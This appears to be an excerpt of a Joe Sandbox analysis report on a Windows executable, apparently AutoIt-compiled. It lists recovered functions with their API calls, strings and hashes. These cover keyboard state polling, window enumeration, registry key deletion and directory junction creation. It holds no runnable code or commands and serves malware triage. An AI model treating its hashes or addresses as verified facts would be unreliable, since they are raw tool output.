API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 1e305029814fb8aec41b8d537324dc4e71322c838e91364bfafb067025c19ebb
Instruction ID: d96ce92d35bfd5034dfec326dbadd6787b33543ea4dc21b2e5abceb615f65963
Opcode Fuzzy Hash: 1e305029814fb8aec41b8d537324dc4e71322c838e91364bfafb067025c19ebb
Instruction Fuzzy Hash: BE611175D00219EFCF04CFA8D985AAEBBB6FF48310F24842AE955A7250D774A941CFA4

Function 0041365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0041369C
_wcslen.LIBCMT ref: 004136A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00413797
GetClassNameW.USER32(?,?,00000400), ref: 0041380C
GetDlgCtrlID.USER32(?), ref: 0041385D
GetWindowRect.USER32(?,?), ref: 00413882
GetParent.USER32(?), ref: 004138A0
ScreenToClient.USER32(00000000), ref: 004138A7
GetClassNameW.USER32(?,?,00000100), ref: 00413921
GetWindowTextW.USER32(?,?,00000400), ref: 0041395D

Strings

%s%u, xrefs: 00413734

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: b06b9f1437c4a14d71a3d8dc3e5a0014ca797501eb74af42a428bc598df48f64
Instruction ID: 2341b9ada94a190add2e63f0e95dd516fa72ce6ff127a8acff63d68ea6d8e2fc
Opcode Fuzzy Hash: b06b9f1437c4a14d71a3d8dc3e5a0014ca797501eb74af42a428bc598df48f64
Instruction Fuzzy Hash: 5591D3B1204606AFD719DF24C885FEBF7A8FF44341F00852AF999D6290DB34EA85CB95

Function 00414954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00414994
GetWindowTextW.USER32(?,?,00000400), ref: 004149DA
_wcslen.LIBCMT ref: 004149EB
CharUpperBuffW.USER32(?,00000000), ref: 004149F7
_wcsstr.LIBVCRUNTIME ref: 00414A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00414A64
GetWindowTextW.USER32(?,?,00000400), ref: 00414A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00414AE6
GetClassNameW.USER32(?,?,00000400), ref: 00414B20
GetWindowRect.USER32(?,?), ref: 00414B8B

Strings

ThumbnailClass, xrefs: 00414A6F, 00414AF1

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 45b650aadd7690940f2c4dd4bd4ac36bf83b8e895d9f97c4eb5e7f5eddd56c42
Instruction ID: 01c923fcd89dcf94cf9cb7ac11bb4dcebcb8235a9bcb3fdebaba8a6ce5771045
Opcode Fuzzy Hash: 45b650aadd7690940f2c4dd4bd4ac36bf83b8e895d9f97c4eb5e7f5eddd56c42
Instruction Fuzzy Hash: 7C91BE711082059BDB04CF14C985BEB77E8FF84354F04846BFD899A295EB38ED85CBA9

Function 0041BF30 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00481990,000000FF,00000000,00000030), ref: 0041BFAC
SetMenuItemInfoW.USER32(00481990,00000004,00000000,00000030), ref: 0041BFE1
Sleep.KERNEL32(000001F4), ref: 0041BFF3
GetMenuItemCount.USER32(?), ref: 0041C039
GetMenuItemID.USER32(?,00000000), ref: 0041C056
GetMenuItemID.USER32(?,-00000001), ref: 0041C082
GetMenuItemID.USER32(?,?), ref: 0041C0C9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0041C10F
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0041C124
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0041C145

Strings

0, xrefs: 0041BF3D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: 0
API String ID: 1460738036-4108050209
Opcode ID: 6e7634804408346624db7153ef2edb791554b2fd69204494073cf22a0a7e6d87
Instruction ID: f43117a35c9fa4571f2b35542a039587884e2263e450cacaae0cdb92ce0b7521
Opcode Fuzzy Hash: 6e7634804408346624db7153ef2edb791554b2fd69204494073cf22a0a7e6d87
Instruction Fuzzy Hash: F86180B0980255EFDF11CF64CCC8AEF7BB9EB05344F04405AE801A3291C739AD85CBA9

Function 00443A23 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00443A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00443AA0
GetWindowLongW.USER32(?,000000F0), ref: 00443AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00443AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00443B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00443BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00443BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00443BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00443BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00443C13

Strings

8Y, xrefs: 00443A67, 00443A76, 00443AAC, 00443B01, 00443C2A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID: 8Y
API String ID: 312131281-2504371881
Opcode ID: 5c6c2e2770a25d1bf7664d482f7b091de5ccd1cdeb573089ba6aec7aa1af22f7
Instruction ID: 3de66e524376c695438676e42590d8bd0e07af31fa82ba3bf8e3a806419c1b20
Opcode Fuzzy Hash: 5c6c2e2770a25d1bf7664d482f7b091de5ccd1cdeb573089ba6aec7aa1af22f7
Instruction Fuzzy Hash: CE616D75900248AFEB10DF64CC81EEE77B8EB09704F10419AFA15A73A1C774AE46DF54

Function 0041DC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0041DC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 0041DC46
_wcslen.LIBCMT ref: 0041DC50
_wcsstr.LIBVCRUNTIME ref: 0041DCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 0041DCBC

Strings

StringFileInfo\, xrefs: 0041DC8F
\VarFileInfo\Translation, xrefs: 0041DCB4
%u.%u.%u.%u, xrefs: 0041DD9A
04090000, xrefs: 0041DCF2
DefaultLangCodepage, xrefs: 0041DD1F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: 9ff6a03575e13b6c9f3b4d5ccf53a935720fe57633e30b290e06f7ba617275e4
Instruction ID: f08aa1aeea5157d1090b9218c502b1d39654ac4033b91f4c47bf82c966ffc571
Opcode Fuzzy Hash: 9ff6a03575e13b6c9f3b4d5ccf53a935720fe57633e30b290e06f7ba617275e4
Instruction Fuzzy Hash: F041F772E402017BD711A774AC43FFF776CEF55710F14406BF905AA282EB79990187A9

Function 0043CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0043CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 0043CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0043CD48

Part of subcall function 0043CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0043CCAA
Part of subcall function 0043CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 0043CCBD
Part of subcall function 0043CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0043CCCF
Part of subcall function 0043CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0043CD05
Part of subcall function 0043CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0043CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 0043CCF3

Strings

RegDeleteKeyExW, xrefs: 0043CCC9
advapi32.dll, xrefs: 0043CCB8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 98530701ea9a65106bb80b569644ad5f4caed7231737b345f70c80d8ef9e2d04
Instruction ID: ad6ca0703cc090fe6ebbb995a193c515a659fa161bb3e7a8ab224b2612a68b9a
Opcode Fuzzy Hash: 98530701ea9a65106bb80b569644ad5f4caed7231737b345f70c80d8ef9e2d04
Instruction Fuzzy Hash: 5A318075902128BBD7209B91DCC8EFFBB7CEF0A740F041176B905E2240DA389A45DBA8

Function 00423D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00423D40
_wcslen.LIBCMT ref: 00423D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00423D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00423DBE
RemoveDirectoryW.KERNEL32(?), ref: 00423DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00423E55
CloseHandle.KERNEL32(00000000), ref: 00423E60
CloseHandle.KERNEL32(00000000), ref: 00423E6B

Strings

\??\%s, xrefs: 00423D5B
:, xrefs: 00423D82
\, xrefs: 00423D77

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: ca197266cf0bec7a3b444658636ef98e75425e36c8eacda9d43be6522ab7ecf5
Instruction ID: cd921b319e1264a8244380958353e4cf9af1926ae191656f59f17717d1f10c80
Opcode Fuzzy Hash: ca197266cf0bec7a3b444658636ef98e75425e36c8eacda9d43be6522ab7ecf5
Instruction Fuzzy Hash: 79310776A00219ABDB219FA0EC88FEF37BCEF89701F5040B6F508D6150E77897448B28

Function 0041E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041E6B4

Part of subcall function 003CE551: timeGetTime.WINMM(?,?,0041E6D4), ref: 003CE555

Sleep.KERNEL32(0000000A), ref: 0041E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 0041E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0041E727
SetActiveWindow.USER32 ref: 0041E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0041E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 0041E773
Sleep.KERNEL32(000000FA), ref: 0041E77E
IsWindow.USER32 ref: 0041E78A
EndDialog.USER32(00000000), ref: 0041E79B

Strings

BUTTON, xrefs: 0041E719

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 1c36de8fb98fcc66ad7f90f97678102d8791877524dc0c8789665b3c32f60199
Instruction ID: 6b11648396dbfd6ef932fcbb744d14d4e0515041f644f2c6525a208fddd900ce
Opcode Fuzzy Hash: 1c36de8fb98fcc66ad7f90f97678102d8791877524dc0c8789665b3c32f60199
Instruction Fuzzy Hash: 4821A77C201200AFFB015F21EDC9E6A3BA9F756349F58483AFC15A12B1EBB59C409B1C

Function 0041E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0041EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0041EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0041EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0041EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0041EAA7

Strings

status PlayMe mode, xrefs: 0041EA58
alias PlayMe, xrefs: 0041EA36
play PlayMe, xrefs: 0041EAA2
open , xrefs: 0041EA0C
close PlayMe, xrefs: 0041EA6E, 0041EA9B
play PlayMe wait, xrefs: 0041EA91

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: d81190b106391d49503c837c88507129264e62dd92184da8a82fdfae95eb0c8f
Instruction ID: 579d83a8427f81d1fa5e2947d01d9d556504fae058a51724066a2af1585af3c6
Opcode Fuzzy Hash: d81190b106391d49503c837c88507129264e62dd92184da8a82fdfae95eb0c8f
Instruction Fuzzy Hash: B811E7B4A4022979D710A362DC4AEFF7E7CEFC1F44F10042BBA05A60D1DE740944C5B4

Function 00419F91 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 0041A012
SetKeyboardState.USER32(?), ref: 0041A07D
GetAsyncKeyState.USER32(000000A0), ref: 0041A09D
GetKeyState.USER32(000000A0), ref: 0041A0B4
GetAsyncKeyState.USER32(000000A1), ref: 0041A0E3
GetKeyState.USER32(000000A1), ref: 0041A0F4
GetAsyncKeyState.USER32(00000011), ref: 0041A120
GetKeyState.USER32(00000011), ref: 0041A12E
GetAsyncKeyState.USER32(00000012), ref: 0041A157
GetKeyState.USER32(00000012), ref: 0041A165
GetAsyncKeyState.USER32(0000005B), ref: 0041A18E
GetKeyState.USER32(0000005B), ref: 0041A19C

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: c4ef3b689c7d2f2c3b3ee5032fa4e60a7c73802e620b11f41c07cdaaf08d7d53
Instruction ID: df73fc7c34d2add3d658173695ecbb66111e05509350959d8d9e4db8494c0034
Opcode Fuzzy Hash: c4ef3b689c7d2f2c3b3ee5032fa4e60a7c73802e620b11f41c07cdaaf08d7d53
Instruction Fuzzy Hash: 1D51C97090578439FB35DB6044147EBAFB49F12344F08459FD5C2562C2D668AECCC76A

Function 00415CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00415CE2
GetWindowRect.USER32(00000000,?), ref: 00415CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00415D59
GetDlgItem.USER32(?,00000002), ref: 00415D69
GetWindowRect.USER32(00000000,?), ref: 00415D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00415DCF
GetDlgItem.USER32(?,000003E9), ref: 00415DDD
GetWindowRect.USER32(00000000,?), ref: 00415DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00415E31
GetDlgItem.USER32(?,000003EA), ref: 00415E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00415E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00415E67

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 7940b8f02f0c532e825fe540b0389b85e853fd4708ca809e1878983b37706bbc
Instruction ID: e56bd4ccc2b721c879f8eecd18ea1a53bf178293f7ee27402d5b9bfc103e164f
Opcode Fuzzy Hash: 7940b8f02f0c532e825fe540b0389b85e853fd4708ca809e1878983b37706bbc
Instruction Fuzzy Hash: 00512D74B00605AFDF18DFA8DD89AEEBBB5FB89300F148129F915E6290D7749E40CB54

Function 003E8D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Strings

.=, xrefs: 003E903A, 003E8FD0, 003E8FF2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID: .=
API String ID: 0-4056814303
Opcode ID: 3abb24b6545849b6b4b904187a217a6b09bafa0f056fc087ad1caac1cb901455
Instruction ID: 02967e5ec887cc0f561052a4c11f124b1c8971f5b0ead1dac390cb9fde2bd79c
Opcode Fuzzy Hash: 3abb24b6545849b6b4b904187a217a6b09bafa0f056fc087ad1caac1cb901455
Instruction Fuzzy Hash: 8BC11675D042A99FCB13DFAAD841BADBBB4AF09310F05469AF519AB3D2C7308D41CB60

Function 00448B02 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

Part of subcall function 003C912D: GetCursorPos.USER32(?), ref: 003C9141
Part of subcall function 003C912D: ScreenToClient.USER32(00000000,?), ref: 003C915E
Part of subcall function 003C912D: GetAsyncKeyState.USER32(00000001), ref: 003C9183
Part of subcall function 003C912D: GetAsyncKeyState.USER32(00000002), ref: 003C919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00448B6B
ImageList_EndDrag.COMCTL32 ref: 00448B71
ReleaseCapture.USER32 ref: 00448B77
SetWindowTextW.USER32(?,00000000), ref: 00448C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00448C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00448CFF

Strings

8Y, xrefs: 00448BB4, 00448BEE
@GUI_DRAGFILE, xrefs: 00448C9A
p#H, xrefs: 00448C71
@GUI_DROPID, xrefs: 00448C51

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: 8Y$@GUI_DRAGFILE$@GUI_DROPID$p#H
API String ID: 1924731296-1785410154
Opcode ID: 36762d6faf2f2b4d064a5c32184784c4ced08bce1165ecbb73a796196eb59878
Instruction ID: a0b6fdac002e44296fa5b55ef4c1c42c66e481a13d5bed6a9c4eed4ae43d013c
Opcode Fuzzy Hash: 36762d6faf2f2b4d064a5c32184784c4ced08bce1165ecbb73a796196eb59878
Instruction Fuzzy Hash: 40516C74105204AFE700EF24DC96FAE77E4FB88714F400A2EFA569B2A1CB759904CB66

Function 004196E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,003FF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00419717
LoadStringW.USER32(00000000,?,003FF7F8,00000001), ref: 00419720

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,003FF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00419742
LoadStringW.USER32(00000000,?,003FF7F8,00000001), ref: 00419745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00419866

Strings

Line %d:, xrefs: 004197A0
Line %d (File "%s"):, xrefs: 0041978F
%s (%d) : ==> %s: %s %s, xrefs: 0041984A
^ ERROR, xrefs: 004197FB
Error: , xrefs: 0041981D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
